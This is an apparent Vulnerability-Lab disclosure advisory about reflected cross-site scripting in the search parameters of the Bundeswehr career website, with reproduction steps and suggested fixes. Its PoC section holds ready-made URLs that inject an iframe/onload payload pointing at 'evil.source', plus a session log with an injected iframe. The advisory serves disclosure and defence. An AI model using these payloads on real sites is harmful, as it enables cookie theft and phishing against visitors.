Bundeswehr Karriere - Cross Site Scripting Vulnerability

Document Title:
===============
Bundeswehr Karriere - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2213

Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2020/04/04/bundeswehr-career-page-weak-spot-permanently-closed

Video: https://www.vulnerability-lab.com/get_content.php?id=2197


Release Date:
=============
2020-03-15


Vulnerability Laboratory ID (VL-ID):
====================================
2213


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Als Bundeswehr bezeichnet man die Streitkräfte der Bundesrepublik Deutschland einschließlich der Bundeswehrverwaltung und 
weiterer Organisationsbereiche, die im Geschäftsbereich des Bundesministeriums der Verteidigung liegen. Die BWI Informationstechnik 
GmbH wurde 2006 von Bundeswehr, IBM und Siemens gegründet. Zusammen mit den Gesellschaften BWI Systeme GmbH und BWI 
Services GmbH bildet sie den BWI Leistungsverbund zur Umsetzung von Herkules, der größten öffentlich-privaten 
Partnerschaft in Europa. 

(Copy of the Homepage:  https://de.wikipedia.org/wiki/Bundeswehr) 
(Copy of the Homepage:  https://de.wikipedia.org/wiki/BWI_Informationstechnik)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core APT Research Team has identified several cross site scripting vulnerabilities in a 
web application of the German Bundeswehr. The Bundeswehr career portal is affected.


Affected Product(s):
===============
Hersteller: Bundeswehr
Technology:	Web-Server
Produkt: Bundeswehr Karriereportal (Web-Applikation)
Module:	Suchmaschine - Karriere
Dienstleister: BWI


Vulnerability Disclosure Timeline:
==================================
2020-04-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Coordinated Disclosure


Technical Details & Description:
================================
Several non-persistent cross site scripting scripting security vulnerabilities have been discovered in the official career site of 
the German Bundeswehr. The vulnerability type allows attackers to manipulate client-side controlled application calls. 

The cross site scripting vulnerabilities are located in the 'termination', 'interests', 'careers' and 'search' parameters of 
the 'career' module in the 'search' function. The GET method request is not cleanly cleaned up when retrieving with the vulnerable 
parameters. There is no validation where the request is intercepted, cleaned or filtered. As a result, 
attackers can submit their own malicious input to the https request to the official Bundeswehr career website. In the 
search, all parameters from the new page are listed and thus finally executed via the request. In the case of a 
successful attack, an attacker could, for example, steal session information such as cookies, generate phishing pages, 
identify persons with external calls, integrate client-side exploits (drive-by) or redirect to harmful web server pages. 
Since the web server should recognize all external sources or integrated calls, there may be a problem with the 
security of the SSL certificate via the Same Origin Policy.

The security risk of cross site scripting vulnerabilities in the search function of the web application are considered medium.
To exploit the vulnerability, an attacker does not need a web application user account, but does require light user 
interaction by visiting a link. Exploitation of the vulnerability results in the theft of cookie information, calling harmful 
external sources in the Bundeswehr web context or spear phishing attacks.

Request Method(s):
[+] GET

Vulnerable Service(s): 
[+] Bundeswehr Karriere (Web-Applikation) www.bundeswehrkarriere.de

Vulnerable Module(s): 
[+] Karriere Suche (ajax/filterlist/de/auswahl/33050/)

Vulnerable Parameter(s):
[+] Abschluss 
[+] Interessen 
[+] Laufbahnen 
[+] Suche


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by attackers without a privileged user account but with light user interaction. 
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manuelle Schritte zum reproduzieren der Sicherheitslücke
1. Öffne die Bundeswehr Karriere Webseite 
Note: https://www.bundeswehrkarriere.de/karriere
2. Starte einen http/https protocol session tamper zum eingreifen in den Aufruf (live)
3. Starte eine Suche und klick auf die Lupe
4. Beim suchen fügt der Angreifer live im session tamper programm im GET method request seine payloads ein
5. Der Inhalt der Parameter wird unten in der Suche ausgegeben und führt sich direkt aus
6. Erfolgreiche Reproduktion der Sicherheitslücke!


PoC: Payloads (Exploitation)
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Laufbahnen:Unteroffiziere;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E



PoC: Vulnerable Source
  <div class="row">
    <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter js-filter-multi" data-defaultlabel="Bitte wählen Sie" data-selectlabel="gewählt" data-update="true" 
data-required="false" data-disabled="true" data-connection="OR" data-key="subjecttaxonomy" data-label="Organisationsbereiche" data-id="33052">
  <h5 class="">Organisationsbereiche</h5>
  <select class="filter-select js-select select2-hidden-accessible" multiple="" data-enable-placeholder="true" data-placeholder="Bitte wählen Sie" tabindex="-1" style="" aria-hidden="true">
    <option data-label="Bundeswehrverwaltung" data-id="31730" data-facet="0" value="31730" data-text="Bundeswehrverwaltung">Bundeswehrverwaltung</option>
        <option data-label="Heer" data-id="31732" data-facet="0" value="31732" data-text="Heer">Heer</option>
        <option data-label="Luftwaffe" data-id="31820" data-facet="0" value="31820" data-text="Luftwaffe">Luftwaffe</option>
        <option data-label="Marine" data-id="31822" data-facet="0" value="31822" data-text="Marine">Marine</option>
        <option data-label="Streitkraeftebasis" data-id="31824" data-facet="0" value="31824" data-text="Streitkräftebasis">Streitkräftebasis</option>
        <option data-label="Sanitaetsdienst" data-id="50290" data-facet="0" value="50290" data-text="Sanitätsdienst">Sanitätsdienst</option>
        </select><span class="select2 select2-container select2-container--default" dir="ltr" style="width: 155px;"><span class="selection"><span class="select2-selection select2-selection--multiple" 
role="combobox" aria-autocomplete="list" aria-haspopup="true" aria-expanded="false" tabindex="-1"><ul class="select2-selection__rendered"><li class="select2-search select2-search--inline first last">
<span tabindex="0" class="search-placeholder" data-title="Bitte wählen Sie" data-defaulttitle="Bitte wählen Sie"><input class="select2-selection--multiple select2-search__field" type="button">
</span></li></ul></span></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>
</div><div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter js-filter-single" data-defaultlabel="Bitte wählen Sie" data-update="true" data-connection="OR" data-key="subjecttaxonomy" 
data-required="false" data-disabled="true" data-label="Laufbahnen" data-id="33122">
    <h5 class="">Laufbahnen</h5>
    <div class="btn-group-responsive">
        <select class="filter-select js-select select2-hidden-accessible" data-enable-placeholder="true" data-placeholder="Bitte wählen Sie" tabindex="-1" style="" aria-hidden="true">
            <option>Bitte wählen Sie</option>
            <option data-label="Mannschaften" data-id="31858" data-facet="0" value="31858" data-text="Mannschaften">Mannschaften</option>
        <option data-label="Unteroffiziere" data-id="31864" data-facet="0" value="31864" data-text="Unteroffiziere">Unteroffiziere</option>
        <option data-label="Feldwebel" data-id="31860" data-facet="0" value="31860" data-text="Feldwebel">Feldwebel</option>
        <option data-label="Offiziere" data-id="31862" data-facet="0" value="31862" data-text="Offiziere">Offiziere</option>
        <option data-label="Reserve" data-id="50304" data-facet="0" value="50304" data-text="Reserve">Reserve</option>
        <option data-label="Mittlerer_Dienst" data-id="41976" data-facet="0" value="41976" data-text="Mittlerer Dienst">Mittlerer Dienst</option>
        <option data-label="Gehobener_Dienst" data-id="41978" data-facet="0" value="41978" data-text="Gehobener Dienst">Gehobener Dienst</option>
        <option data-label="Hoeherer_Dienst" data-id="41980" data-facet="0" value="41980" data-text="Höherer Dienst">Höherer Dienst</option>
        </select><span class="select2 select2-container select2-container--default select2-container--below" dir="ltr" style="width: 125px;"><span class="selection">
<span class="select2-selection select2-selection--single" role="combobox" aria-autocomplete="list" aria-haspopup="true" aria-expanded="false" tabindex="0" 
aria-labelledby="select2-kbwa-container"><span class="select2-selection__rendered" id="select2-kbwa-container" title="Unteroffiziere"><span><span class="js-label">Unteroffiziere</span>
<span class="caret"></span></span></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span></span></span>
<span class="dropdown-wrapper" aria-hidden="true"></span></span>
    </div>
</div></div>
  <div class="row">
    <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 js-filter js-filter-search" data-update="true" data-connection="OR" data-key="search" 
data-required="false" data-disabled="true" data-label="Suche" data-id="33126">
  <h5 class=" hidden">Suche</h5>
  <div class="form-group">
    <input class="form-control js-search-input" placeholder="Suchbegriff" type="text">
    <input id="search-term" class="js-search-submit" value="Suche" type="button">
  </div>
</div></div>
PoC: Execution
Suche
Laufbahn
Bitte wählen Sie**
AuswahlX
<javascript:void();>AbiturX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>UnteroffiziereX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>FuehrungX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>test >"<[MALICIOUS PAYLOAD!]
//
Laufbahnen
  * // Laufbahnen <#>
  * // Jobprofile <#>
  * // Auch interessant <#>
Keine Treffer gefunden
Bitte geben Sie Ihren bereits erreichten oder angestrebten
Schulabschluss an, damit wir Ihnen Ihre passenden Jobmöglichkeiten
anzeigen koennen.


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://www.bundeswehrkarriere.de/ajax/filterlist/de/auswahl/33050/h_368f9ea9884c87f4c9d45368542ba48f?subjecttaxonomy=33120%2331848%3B33118%2331770%3B33052%2331732%3B33122%2341980%3B50510%2350470
&search=33126%23%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.test.de%3E&limit=12&offset=0&sort=relevance+asc%3Bsearchdate+asc 
Mime Type[text/html]
   Request Header:
      Host[www.bundeswehrkarriere.de]
      Referer[https://www.bundeswehrkarriere.de/karriere]
      Connection[keep-alive]
   Response Header:
      200 OK
      Server[Apache]
      Content-Type[text/html;charset=UTF-8]
      Content-Language[de]
      x-varnish[23952790]
      Via[1.1 varnish-v4]
      Accept-Ranges[bytes]
      Connection[close]


Solution - Fix & Patch:
=======================
The security gap can be quickly resolved by the following work-around ...
1. Input fields must prevent the input of special characters (Disallow Specialchars)
2. Parse or filter the content of the parameters via GET to prevent input 
3. Use the escape function for the output at the end of the function
4. Check why the SSL certificate does not expire on external calls


Security Risk:
==============
The security risk of client-side cross site scripting web vulnerability in the Bundeswehr career application is to be rated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.



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=========================
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